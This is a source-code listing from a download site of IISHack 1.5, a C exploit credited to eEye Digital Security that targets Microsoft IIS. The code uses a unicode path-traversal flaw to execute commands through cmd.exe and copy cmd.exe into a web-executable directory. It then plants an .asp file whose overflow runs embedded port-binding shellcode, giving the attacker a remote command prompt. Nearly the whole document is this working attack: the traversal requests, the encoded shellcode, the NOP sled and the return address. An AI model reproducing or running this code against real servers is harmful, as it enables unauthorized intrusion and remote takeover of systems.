IISHack1.5.c
上传用户:sztony118
上传日期:2007-01-08
资源大小:9k
文件大小:15k
源码类别:

Internet/网络编程

开发平台:

C/C++

  1. /*
  2. 11/02/00
  3. IISHack Version 1.5 (unicode path traverse + .asp overflow exploit)
  4. Theory, Flaw, Exploit: Ryan Permeh and Marc Maiffret
  5. eEye Digital Security
  6. http://www.eEye.com
  7. We do not have anything really cool to say except for happy b-day to ourselves
  8. Ryan (turned 24 on 11/1) and Marc (turning 20 on 11/28). Later.
  9. */
  10. //Don't forget to link with wsock32.lib :-o
  11. #include <windows.h>
  12. #include <stdio.h>
  13. //GLOBAL EXPLOIT DEFINES
  14. #define UNISTRING "%c0%af"
  15. //Our exploit functions
  16. long iplookup(char *rhost);
  17. void FindExeDir(char *host, u_short port);
  18. char *GetData(int SockFD);
  19. void MoveCmd(char *host, u_short port);
  20. void SendExploit(char *host, u_short port, u_short tport, char *shellcode);
  21. char *build_shellcode(struct in_addr host, WORD port);
  22. //This changes if the code size changes, search for dword 0x55555555
  23. //this denotes the beginning of the data in the shellcode
  24. #define DT_OFF 367 // offset of start of data
  25. //These stay the same if the included data doesn't change
  26. #define GP_OFF 4+DT_OFF  //offset from data of GetProcAddress in code
  27. #define LL_OFF 8+DT_OFF  //offset from data of LoadLibraryA in shellcode
  28. #define IP_OFF 209+DT_OFF  //Offset from data of IP struct in code
  29. #define PT_OFF 207+DT_OFF  //Offset from data of port in code
  30. //#define NOPS 2196  we have seen this buffer filler work and the next one.  
  31. //2200 worked on a stock install, with sp6, so we will go with that
  32. //just adjust the nops as you see fit
  33. #define NOPS 2196
  34. #define XOR_VAL2  0x8585 //xor the shellcode to take care of nulls and char's IIS doesnt like
  35. #define XOR_VAL4  0x85858585
  36. #define DEFAULT_PORT 2323 //Default port for trojan to listen on
  37. //NT4SP6
  38. #define DEFAULT_GP_ADDR 0x77f13fb3 //Address of GetProcAddress
  39. #define DEFAULT_LL_ADDR 0x77f137bd //Address of LoadLibraryA
  40. //nt5
  41. //#define DEFAULT_GP_ADDR 0x77E87031 //Address of GetProcAddress
  42. //#define DEFAULT_LL_ADDR 0x77E87273 //Address of LoadLibraryA
  43. //Global exploit information buffers
  44. char *localpath;
  45. char *exedir;
  46. int main(int argc, char **argv)
  47. {
  48. WSADATA wsaData;
  49. u_short sport;
  50. struct in_addr host;
  51. char *sp10it;
  52. u_short tport;
  53. printf("IISHack Version 1.5neEye Digital Securitynhttp://www.eEye.comnCode By: Ryan Permeh & Marc MaiffretneEye Digital Security takes no responsibility for use of this code.nIt is for educational purposes only.nn");
  54. if(argc < 4)
  55. {
  56. printf("Usage: IISHack1.5 [server] [server-port] [trojan-port]n");
  57. exit(1);
  58. }
  59. sport=atoi(argv[2]);
  60. tport=atoi(argv[3]);
  61. host.S_un.S_addr = inet_addr(argv[1]);
  62. WSAStartup(0x202, &wsaData );
  63. //make our shellcode
  64. sp10it = build_shellcode(host,tport); 
  65. //Find an IIS directory with execute permissions
  66. FindExeDir(argv[1],sport);
  67. printf("Executable directory found. [%s]n", exedir);
  68. printf("Path to executable directory is [%s]n",localpath);
  69. //Move and rename cmd.exe from winntsystem32 to our executable directory as eeyehack.exe
  70. MoveCmd(argv[1],sport);
  71. //Send our exploit and own the server
  72. SendExploit(argv[1],sport,tport,sp10it);
  73. WSACleanup();
  74. return 0;
  75. }
  76. void SendExploit(char *host, u_short port, u_short tport, char *shellcode)
  77. {
  78. //localpath\eeyehack.exe
  79. //This function moves cmd.exe from winntsystem32 to the found executable directory
  80. int SockFD,i;
  81. struct sockaddr_in DstSAin;
  82. char waste[5000],uniwaste[500];
  83. char space[3];
  84. char *buffer;
  85. printf("Sending the exploit...n");
  86. memset(uniwaste,0,499);
  87. for(i=0;i<8;i++)
  88. {
  89. strcat(uniwaste,"..");
  90. strcat(uniwaste,UNISTRING); //Create our drop back url string
  91. }
  92. memset(space,0,3);
  93. strcpy(space,"%20");
  94. memset(waste,0,5000);
  95. //Create our request buffer that sends cmd.exe (now eeyehack.exe) /c echo ourshellcode > [executable dir]eeyerulez.asp
  96. sprintf(waste,"GET /%s/%s/%s/eeyehack.exe?/c%secho%s%s%s>%s%s\eeyerulez.asp HTTP/1.0nn",exedir,uniwaste,localpath+3,space,space,shellcode,space,space,localpath);
  97. SockFD=socket(AF_INET,SOCK_STREAM,0);
  98. DstSAin.sin_family = AF_INET;
  99. DstSAin.sin_port = htons(port);
  100. DstSAin.sin_addr.s_addr=iplookup(host);
  101. if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
  102. {
  103. send(SockFD,waste,strlen(waste),0); //send the echo command and shellcode
  104. }
  105. closesocket(SockFD);
  106. //Now request the .asp file and cause the overflow
  107. SockFD=socket(AF_INET,SOCK_STREAM,0);
  108. DstSAin.sin_family = AF_INET;
  109. DstSAin.sin_port = htons(port);
  110. DstSAin.sin_addr.s_addr=iplookup(host);
  111. if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
  112. {
  113. memset(waste,0,5000);
  114. sprintf(waste,"GET /%s/eeyerulez.asp HTTP/1.0nn",exedir);
  115. //Request eeyerulez.asp from the remote server
  116. //IIS then tries to process our .asp file and when it reads in the script language buffer it overflows and executes our code
  117. send(SockFD,waste,strlen(waste),0);
  118. buffer=GetData(SockFD);
  119. if(strlen(buffer)==0)
  120. //If we do not get any data back from the server (server crashes) then our exploit probably worked
  121. printf("Exploit sent! Now telnet to %s on port %i and you should get a cmd prompt.n", host, tport);
  122. else
  123. //If we do get data back from the server then they are probably patched
  124. printf("Exploit failed.n");
  125. }
  126. }
  127. void MoveCmd(char *host, u_short port)
  128. {
  129. //This function moves cmd.exe from winntsystem32 to the found executable directory
  130. int SockFD,i;
  131. struct sockaddr_in DstSAin;
  132. char waste[500],uniwaste[500];
  133. char space[3];
  134. char dletter[2];
  135. char *buffer;
  136. char *p;
  137. memset(uniwaste,0,499);
  138. for(i=0;i<8;i++)
  139. {
  140. strcat(uniwaste,"..");
  141. strcat(uniwaste,UNISTRING); //create drop back url
  142. }
  143. strncpy(dletter,localpath,1);
  144. dletter[1]='';
  145. memset(space,0,3);
  146. strcpy(space,"%20");
  147. printf("Moving cmd.exe from winnt\system32 to %s.n", localpath);
  148. memset(waste,0,500);
  149. //create string that causes cmd.exe to copy itself to our iis executable directory, also rename it so its > friendly.
  150. sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%scopy%s%s:\winnt\system32\cmd.exe%s%s\eeyehack.exe HTTP/1.0nn",exedir,uniwaste,space,space,dletter,space,localpath);
  151. SockFD=socket(AF_INET,SOCK_STREAM,0);
  152. DstSAin.sin_family = AF_INET;
  153. DstSAin.sin_port = htons(port);
  154. DstSAin.sin_addr.s_addr=iplookup(host);
  155. if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
  156. {
  157. send(SockFD,waste,strlen(waste),0); //send the rename/move command
  158. buffer=GetData(SockFD);
  159. p=strstr(buffer,"1 file(s) copied."); //if buffer has this then we copied the file correctly.
  160. if(p!=NULL)
  161. {
  162. printf("Succesfully moved cmd.exe to %s\eeyehack.exe", localpath);
  163. closesocket(SockFD);
  164. return;
  165. }
  166. }
  167. printf("Failed to move and rename cmd.exe. Server probably not vulnerable.n");
  168. closesocket(SockFD);
  169. exit(1);
  170. }
  171. void FindExeDir(char *host, u_short port)
  172. {
  173. int SockFD,i;
  174. struct sockaddr_in DstSAin;
  175. //add more directories if you like but make sure to change the for() loop accordingly.
  176. char *ExeDirs[5]={"scripts","IISADMPWD","msadc","cgi-bin","_vti_bin"};
  177. char waste[500],uniwaste[500];
  178. char *buffer,*p;
  179. char space[3];
  180. int rbytes=0,loc1=0,loc2=0;
  181. char locdir[300];
  182. memset(locdir,0,300);
  183. memset(uniwaste,0,499);
  184. memset(space,0,3);
  185. strcpy(space,"%20");
  186. printf("Attempting to find an executable directory...n");
  187. for(i=0;i<8;i++)
  188. {
  189. strcat(uniwaste,"..");
  190. strcat(uniwaste,UNISTRING); //create drop back url string
  191. }
  192. for(i=0;i<4;i++)
  193. {
  194. memset(waste,0,500);
  195. //create our string that sees if we can execute cmd.exe 
  196. //that way we know if a directory is executable and if the exe dir is on the same harddrive as cmd.exe
  197. sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%sdir HTTP/1.0nn",ExeDirs[i],uniwaste,space);
  198. SockFD=socket(AF_INET,SOCK_STREAM,0);
  199. DstSAin.sin_family = AF_INET;
  200. DstSAin.sin_port = htons(port);
  201. DstSAin.sin_addr.s_addr=iplookup(host);
  202. if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
  203. {
  204. printf("Trying directory [%s]n", ExeDirs[i]);
  205. send(SockFD,waste,strlen(waste),0); //try one of the directories
  206. buffer=GetData(SockFD);
  207. p=strstr(buffer,"Directory of"); //we found an executable directory on the same drive as cmd.exe!!!
  208. if(p!=NULL)
  209. {
  210. loc1=p-buffer+1;
  211. p=strstr(buffer,"<DIR>");
  212. if(p!=NULL)
  213. {
  214. //do a bunch of crap to move the executable directory name into a global buffer
  215. //and to also grab the remote servers local path to that executable directory
  216. loc2=p-buffer+1;
  217. loc2=loc2-27;
  218. buffer[loc2-2]='';
  219. strncpy(locdir,buffer+loc1+12,290);
  220. //Set executable directory.
  221. exedir=malloc(strlen(ExeDirs[i])+1);
  222. memset(exedir,0,strlen(ExeDirs[i])+1);
  223. memcpy(exedir,ExeDirs[i],strlen(ExeDirs[i]));
  224. //Set executable directory path
  225. localpath=malloc(strlen(locdir)+1);
  226. memset(localpath,0,strlen(locdir)+1);
  227. memcpy(localpath,locdir,strlen(locdir));
  228. closesocket(SockFD);
  229. return;
  230. }
  231. }
  232. }
  233. //looks like the server might not be vulnerable, you might want to tweak code though 
  234. printf("Could not find an executable directory or your unicode code is incorrect or the server is patched.n");
  235. closesocket(SockFD);
  236. }
  237. exit(1);
  238. }
  239. //lookup an ip wheeeeee
  240. long iplookup(char *rhost)
  241. {
  242. long rip;
  243. struct hostent *hp;
  244. if ((rip=inet_addr(rhost))==-1)
  245. {
  246. if ((hp=gethostbyname(rhost))==NULL)
  247. {
  248. printf("Failed to resolve host.n");
  249. exit(1);
  250. }
  251. memcpy(&rip, (hp->h_addr), 4);
  252. }
  253. return rip;
  254. }
  255. char *GetData(int SockFD)
  256. {
  257. //get data without a blocking recv so we dont hang if we crash the server
  258. char *buffer;
  259. char data[2001];
  260. unsigned long on=1;
  261. unsigned long off=0;
  262. char waste[2001];
  263. int p, i=1;
  264. int t;
  265. memset(data,0,2001);
  266. p=ioctlsocket(SockFD,FIONBIO,&on);
  267. memset(waste,0,2001);
  268. for(t=1;t<10;t++){
  269. i=recv(SockFD, waste, 2000, 0);
  270. if(i>0)
  271. break;
  272. Sleep(500);
  273. }
  274. waste[i]='';
  275. strncat(data,waste,2000);
  276. buffer = ( char * )malloc( 2000 * sizeof( char ) );
  277. strncpy( buffer, data, 2000 );
  278. return buffer;
  279. }
  280. char * build_shellcode(struct in_addr host, WORD port )
  281. {
  282. //Special thanks (as any win32 overflow should have) go to Barnaby Jack, Greg Hoglund, and Dildog.
  283. DWORD  gp_addr=DEFAULT_GP_ADDR;
  284. DWORD  ll_addr=DEFAULT_LL_ADDR;
  285. unsigned char shellcodex[589] = 
  286. "x50x5dx8bxc5x83xc0x13x33xc9x66xb9x39x02x80x30x85x40xe2xfax6dx85x85"
  287. "x85x85xdax0ex69x04x69x3dx8ex85x85xc2x06xbax7axf0x7fx06x42x81x0ex70"
  288. "xb6x4cx3cx87x85x85x85x0ex82x0cx83x06x43x81x06x42x81x67x71x06x42x81"
  289. "x05xbax85xf1xb4x08x82xd5x7axd0x81x06x7dx85xf1xb3x0ex55x3cx95xa2x85"
  290. "x85xb6x45x77x2bx05xbax85xf1x96xd7xd2xd7x7axd0x85xdfx06x7dx85xf1x9f"
  291. "x0cx83x06x43x81x6ex61xc2x6ex4fxb6x45x77x2bx05xbax85xf1x82x0cxbbx06"
  292. "x43x81x6ex75xc2x0cxbbx06x43x8dxb6x45xd5xc5xd5xc5xd5x7axd0xc1x16xef"
  293. "x95x7axf0xc9xd6x7axd0xb1xefx87xd6x7axd0xbdxb6x45xd2xd5x35x89x2exdd"
  294. "x2exc5x2exdaxcdxd5xd2xd3x28xd3x7axd0x89xcdxd5xd2x28xd3x28xd3x7axd0"
  295. "x89xcdx35xc1x0cx82xd2x7axd0x9dxb6x45x0exc0xd1x0cxc2xb9x0cxc2xc5x0e"
  296. "xc0xe5x0cxc2xbdx3dx84x84x85x85x0cxc2xa9xd2xd2xb6x45xd5xd5xd5xc5xd5"
  297. "xcdxd5xd5x7axf0xcdxd5x7axd0x95xcdxd5xd5xd6x7axd0xb5x0ex5dxb6x45x31"
  298. "x81xd5x44x6dx81xd5x7axd0x99x0ex75x15xb6x45x0ex4dx30x81xd5xd5xd2xd4"
  299. "xd5x7axf0xddx7axd0xa5x06xbax84xf9xa7xb6x45xd5xd2x7axb2xd3x7axf0xdd"
  300. "x7axd0xa1x8ex45xf1xaaxb6x45xd5x7axb2xd3xd6x7axd0xc5xefxd5x7axd0xad"
  301. "x6ex42xb6x45xd5x31x81xd5xd3xd6x7axd0xb9xd2xb6x4cxd4xd5xd3x7axf0xd9"
  302. "x7axd0xa9xefxd5x7axd0xadx6ex2cxd5x7axd0x91x46x7ax7ax7ax7ax36xbax74"
  303. "xf2x38xb2x74xf2x85x85x85x85xeexe0xf7xebxe0xe9xb6xb7xabxe1xe9xe9x85"
  304. "xc6xe9xeaxf6xe0xcdxe4xebxe1xe9xe0x85xc6xf7xe0xe4xf1xe0xd5xecxf5xe0"
  305. "x85xc6xf7xe0xe4xf1xe0xd5xf7xeaxe6xe0xf6xf6xc4x85xc0xfdxecxf1xd5xf7"
  306. "xeaxe6xe0xf6xf6x85xc2xe0xf1xd6xf1xe4xf7xf1xf0xf5xccxebxe3xeaxc4x85"
  307. "xc2xe9xeaxe7xe4xe9xc4xe9xe9xeaxe6x85xd5xe0xe0xeexcbxe4xe8xe0xe1xd5"
  308. "xecxf5xe0x85xd7xe0xe4xe1xc3xecxe9xe0x85xd6xe9xe0xe0xf5x85xd2xf7xec"
  309. "xf1xe0xc3xecxe9xe0x85x85xf2xf6xb7xdaxb6xb7xabxe1xe9xe9x85xe4xe6xe6"
  310. "xe0xf5xf1x85xe7xecxebxe1x85xe9xecxf6xf1xe0xebx85xf7xe0xe6xf3x85xf6"
  311. "xe0xebxe1x85xf6xeaxe6xeexe0xf1x85x85x85xe6xe8xe1xabxe0xfdxe0x85x85"
  312. "x87x85x9exbdx85x85x85x85x85x85x85x85x85x85x85x85";
  313. // ^^^^---shellcode that binds cmd.exe to a port
  314. char shellcode[1770];
  315. //The first part of the .asp file, the <SCRIPT LANGUAGE="'s section.
  316. //we had to tweak it up for cmd.exe to echo it correctly to a file.
  317. char *head="^<SCRIPT%20LANGUAGE%3d"";
  318. //ending part of the .asp file...
  319. char *tail=""%20RUNAT%3d"Server"^>%20^</SCRIPT^>";
  320. char *nops=malloc(NOPS+1);
  321. //overwrite EIP with a jmp eax (FF E0) so that we jump back to our code.
  322. //this jmp eax is from a sp6 systems ole32.dll
  323. //so therefore it might not be correct depending on a systems sp's etc..
  324. //didnt want to take the time to find a more static dll with a jmp eax.
  325. unsigned char eip[]="xF0xd7xbcx77";
  326. char *final=malloc(3000);
  327. // FILE *bob;
  328. char pct='%';
  329. char *scp;
  330. memset(shellcode,0,1770);
  331. memset(nops,0,NOPS+1);
  332. memset(nops,0x90,NOPS);
  333. gp_addr = gp_addr ^ XOR_VAL4;
  334. ll_addr = ll_addr ^ XOR_VAL4;
  335. port = htons(port) ^ XOR_VAL2;
  336. memcpy(shellcodex+GP_OFF,&gp_addr,4);
  337. memcpy(shellcodex+LL_OFF,&ll_addr,4);
  338. memcpy(shellcodex+PT_OFF,&port,2);
  339. scp = shellcodex;
  340. //use a pointer to walk our shellcode
  341. //and convert "bad bytes" to HTTP %hh format
  342. while(*scp != 0x00)
  343. {
  344. //shellcode cannot have 0x2b .. the + sign
  345. if (*scp == 0x2b) _snprintf(shellcode,1770,"%s%c2b",shellcode,pct);
  346. //shellcode cannot have 0x3c .. the < sign
  347. else if (*scp == 0x3c) _snprintf(shellcode,1770,"%s%c3c",shellcode,pct);
  348. //shellcode cannot have 0x3d .. the = sign
  349. else if (*scp == 0x3d) _snprintf(shellcode,1770,"%s%c3d",shellcode,pct);
  350. //shellcode cannot have 0x3e .. the > sign
  351. else if (*scp == 0x3e) _snprintf(shellcode,1770,"%s%c3e",shellcode,pct);
  352. //shellcode must convert characters 0x01 through 0x20 to HTTP %hh
  353. else if (*scp >= 0x01 && *scp <= 0x20) _snprintf(shellcode,1770,"%s%c%02x",shellcode,pct,(BYTE)*scp);
  354. else _snprintf(shellcode,5000,"%s%c",shellcode,*scp);
  355. scp++;
  356. }
  357. _snprintf(final,3000,"%s%s%s%s%s",head,nops,eip,shellcode,tail);
  358. return final;
  359. }